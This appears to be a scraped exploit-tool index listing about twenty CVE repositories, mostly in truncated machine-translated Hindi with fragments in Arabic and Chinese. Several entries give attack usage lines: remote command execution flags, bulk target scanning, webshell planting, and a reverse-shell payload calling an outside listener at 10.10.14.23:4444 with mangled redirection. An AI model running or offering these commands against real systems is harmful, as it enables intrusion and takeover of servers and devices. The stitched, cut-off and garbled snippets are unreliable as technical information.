PIL-CVE-2017-8291

Python PIL दूरस्थ कमांड निष्पादन भेद्यता GhostButt Python में छवियों को संसाधित करने के लिए PIL Pillow मॉड्यूल GhostButt भेद्यता CVE-2017-8291 से प्रभावित है, क्योंकि यह आंतरिक रूप से GhostScript को कॉल करता है, जिसके परिणामस्वरूप दूरस्थ कमांड निष्पादन भेद्यता उत्पन्न होती है। भेद्यता सारांश PIL...

CVE-2017-5638

CVE-2017-5638 CVE-2017-5638 पायथन में पुनर्लिखित शोषण उपयोग कैसे करें: सुनिश्चित करें कि सिस्टम पर Python3 स्थापित है। "python3 CVE-2017-5638.py URL -c COMMAND" चलाएँ। URL एंडपॉइंट एक '.action' फ़ाइल होनी चाहिए। स्क्रिप्ट चलाने से पहले इसे पैरामीटर देना न भूलें। उपयोग उदाहरण: परीक्षण नहीं किया गय...

CVE-2025-54068

CVE-2025-54068 CVE-2025-54068 का शोषण करने और Livewire प्रोजेक्ट का APPKEY ज्ञात होने पर रिमोट कमांड निष्पादन के लिए डिज़ाइन किया गया एक उपकरण। यह उपकरण Synacktiv द्वारा मूल प्रोजेक्ट का पुनर्कोडित संस्करण है: Livepyre — https://github.com/synacktiv/Livepyre मूल कार्यान्वयन पर आधारित मुख्य अवधारण...

CVE-2022-1292

CVE-2022-1292 POC विवरण root@kitploit: The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitra...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone RCE भेद्यता CVE-2023-28343 चीनी नाम: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS कोर:9.0 विवरण : Altenergy Power System Control Software, Altenergy Power System का एक माइक्रोइन्वर्टर नियंत्रण...

CVE-2019-0604

एक, k8gege के cve-2019-0604-exp.py की व्याख्या k8gege का स्क्रिप्ट https://github.com/k8gege/CVE-2019-0604 सच कहूँ तो k8gege का py स्क्रिप्ट थोड़ा फैंसी है, ढेर सारे हेक्साडेसिमल स्ट्रिंग्स, जिन्हें payload1,2,3 में विभाजित किया गया है, अच्छा और बुरा। पायथन स्क्रिप्ट द्वारा रिमोट पोस्ट किया गया...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

Weblogic

weblogic CVE-2019-2725 CVE-2019-2729 POC कमांड निष्पादित करें और आउटपुट दिखाएँ उपयोग: एकल लक्ष्य python3 weblogicgetwebshell.py http://url बैच लक्ष्य, बैच URL को urllist.txt में डालें python3 weblogicgetwebshell.py all root@kitploit:...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

cve-2017-12945

CVE-2017-12945 CVE-2017-12945 के लिए शोषण Mersive Solstice Pods में एक रिमोट प्रमाणित ब्लाइंड OS कमांड इंजेक्शन कमजोरी मौजूद है - जो Mersive Technologies Inc. द्वारा डिज़ाइन किया गया एक वायरलेस सहयोग और प्रस्तुति प्लेटफ़ॉर्म है - जो 2.8.4 से पहले के फर्मवेयर संस्करणों पर चलता है, जैसा कि विक्रेता...

CVE-2022-30525_Exploit

CVE-2022-30525 Zyxel फ़ायरवॉल रिमोट कमांड इंजेक्शन CVE-2022-30525 के लिए एक पायथन-आधारित शोषण भेद्यता सारांश NIST Zyxel USG FLEX 100W फर्मवेयर संस्करण 5.00 से 5.21 पैच 1 तक, USG FLEX 200 फर्मवेयर संस्करण 5.00 से 5.21 पैच 1 तक, USG FLEX 500 फर्मवेयर संस्करण 5.00 से 5.21 पैच 1 तक, USG FLEX 700...

CVE-2020-11107

CVE-2020-11107 यह CVE-2020-11107 के लिए एक राइटअप है जो मुझे मिला। Windows पर XAMPP में 7.2.29, 7.3.x से पहले 7.3.16 , और 7.4.x से पहले 7.4.4 से पहले एक समस्या पाई गई। एक अनप्रिविलेज्ड उपयोगकर्ता सभी उपयोगकर्ताओं एडमिन सहित के लिए xampp-contol.ini में .exe कॉन्फ़िगरेशन बदल सकता है, जिससे मनमानी...

CVE-2001-1442

CVE-2001-1442 ISC INN 2.x - कमांड-लाइन बफर ओवरफ्लो Exploit-DB प्रकाशन 1: https://www.exploit-db.com/exploits/20777/ Exploit-DB प्रकाशन 2: https://www.exploit-db.com/exploits/20778/ Packetstorm प्रकाशन https://packetstormsecurity.com/files/24684/defcom.innfeed.txt.html पर उपलब्ध है Securityfocus...

CVE-2023-38646

CVE-2023-38646 kh4sh3i's का फोर्क, जिसमें Burp Collector की आवश्यकता को हटा दिया गया है। CVE-2023-38646 Metabase में Pre-Auth RCE: 0.46.6.1 से पहले का Metabase open source और 1.46.6.1 से पहले का Metabase Enterprise हमलावरों को सर्वर पर, सर्वर के विशेषाधिकार स्तर पर, मनमाने कमांड निष्पादित करने की...

CVE-2024-51567

CVE-2024-51567 Exploit स्क्रिप्ट CVE-2024-51567 एक Python प्रूफ-ऑफ-कॉन्सेप्ट PoC एक्सप्लॉइट स्क्रिप्ट है जो CVE-2024-51567 के लिए है, जो CyberPanel v2.3.6 को प्रभावित करने वाली एक गंभीर कमांड इंजेक्शन भेद्यता है। upgrademysqlstatus एंडपॉइंट में पाई गई यह भेद्यता, CSRF सुरक्षा को बायपास करके और...

cve-2024-31317

CVE-2024-31317 की खोज CVE-2024-31317 किसी भी uid और SELinux स्कोप तक अविशेषाधिकारित पहुंच प्रदान करता है जो सामान्य Android ऐप्स के लिए उपलब्ध है। यह uid 1000 system और uid 2000 shell तक पहुंच प्रदान करता है, और इसे पूरी तरह से एक अविशेषाधिकारित ऐप से ट्रिगर किया जा सकता है, जिससे इसका उपयोग करने...

CVE-2023-22527

मैं किसी भी अवैध हमले के लिए जिम्मेदार नहीं हूँ CVE-2023-22527 बल्क स्कैनिंग स्क्रिप्ट्स सहायता root@kitploit: usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Comman...

CVE-2019-19268

CVE-2019-19268 الإصدار المتأثر: rConfig 3.9.2. الوصف نواقل هجوم متعددة في rConfig v3.9.2 بسبب سوء الإعداد، مما يسمح للمستخدمين المحليين بتنفيذ أوامر جذرية عبر sudo. المكتشفون dmw0ng - ديسكورد: dmw0ng4449 TheCyberGeek - ديسكورد: TheCyberGeek1892 البريد الإلكتروني: [email protected] إعداد sudo...

Centreon-20.04

CVE-2020-12688 - प्रमाणित RCE Centreon 20.04 minHelpCommand.php कमांड नाम चर RCE CVE-2020-12688 Centreon नवीनतम रिलीज़ दस्तावेज़ीकरण: https://docs.centreon.com/current/en/releases/centreon-core.html द्वारा खोजा गया: TheCyberGeek खोज की तारीख: 30/04/2020 प्रकटीकरण की तारीख: 15/06/2020 अप्रयुक्त...

CVE-2024-46507

यह स्क्रिप्ट Ubuntu Server 20.04 LTS पर परीक्षित और निर्मित की गई थी, जबकि Kali Linux का उपयोग शोषण और वॉकथ्रू के लिए किया गया था। यह वॉकथ्रू आपको CVE-2024-46507 कमांड इंजेक्शन और CVE-2024-46508 प्रमाणीकरण बायपास कमजोरियों वाले असुरक्षित सर्वर के शोषण की प्रक्रिया बताता है। प्रारंभिक टोही पहले,...